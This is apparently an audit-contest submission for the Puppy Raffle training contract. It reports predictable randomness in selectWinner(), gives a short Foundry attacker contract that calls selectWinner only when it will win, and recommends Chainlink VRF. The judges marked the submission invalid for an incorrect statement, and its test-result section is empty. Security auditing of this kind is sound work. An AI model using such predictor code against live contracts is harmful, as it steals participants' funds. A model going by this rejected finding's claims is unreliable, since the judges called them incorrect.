Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

High 3 form

Root + Impact

Description

selectWinner() derives both the winner index and the puppy rarity from keccak256 over values the caller can observe or control — there is no commit-reveal, VRF, or other unbiasable entropy source:

@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Attack prerequisites are trivially met by any participant:

The attacker contract simulates the exact formula off-chain, scans for a timestamp at which players[winnerIndex] is itself, and only then submits selectWinner(). The same predictability applies to the rarity roll, letting the attacker also bias toward the legendary puppy. The raffle's core fairness guarantee collapses into a deterministic win for whoever bothers to compute.

Risk

Likelihood: High — any participant can deploy the predictor contract; the computation is pure keccak over public inputs, requiring no privileged access or miner collusion.

Impact: High — the attacker deterministically steals the 80% prize pool and the minted puppy, turning a probabilistic raffle into a guaranteed payout for the sophisticated player.

Proof of Concept

The Foundry test below demonstrates the deterministic win:

contract PredictAttacker {
PuppyRaffle public raffle;
​
function attackIfWinning() external {
uint256 predicted =
uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % 4;
require(raffle.players(predicted) == address(this), "not winning, abort");
raffle.selectWinner(); // only called on a guaranteed win
}
​
function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
return this.onERC721Received.selector;
}
​
receive() external payable {}
}

Test assertions and measured result (forge test --match-test test_PoC_M1_WinnerPredictable):

Recommended Mitigation

Source the randomness from Chainlink VRF (or a commit-reveal scheme) instead of caller-influenced block data. VRF delivers the random word via a verifiable secret the caller cannot predict or bias at call time, so precomputing the winner becomes impossible and the raffle's probabilistic fairness is restored. Never derive draw randomness solely from msg.sender, block.timestamp, or block.difficulty/prevrandao.

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // request VRF randomness; select winner in fulfillRandomWords()
+ uint256 winnerIndex = _vrfRandomness % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!